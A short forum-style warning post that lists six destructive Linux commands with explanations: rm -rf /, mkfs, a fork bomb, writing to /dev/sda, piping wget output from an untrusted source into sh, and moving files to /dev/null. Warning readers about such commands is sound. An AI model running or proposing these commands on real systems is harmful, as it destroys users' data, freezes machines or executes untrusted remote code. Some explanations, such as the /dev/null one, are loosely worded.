1. Code: rm -rf / Code (markup): This command will recursively and forcefully delete all the files inside the root directory. 2. Code This will reformat or wipeout all the files of the device that is mentioned after the mkfs command 3. Code :(){:|:&};: Code (markup): Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data 4. Code any_command > /dev/sda Code (markup): With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data. 5. Code wget http://some_untrusted_source -O- | sh Code (markup): Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you. 6. Code mv /home/yourhomedirectory/* /dev/null Code (markup): This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again. There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.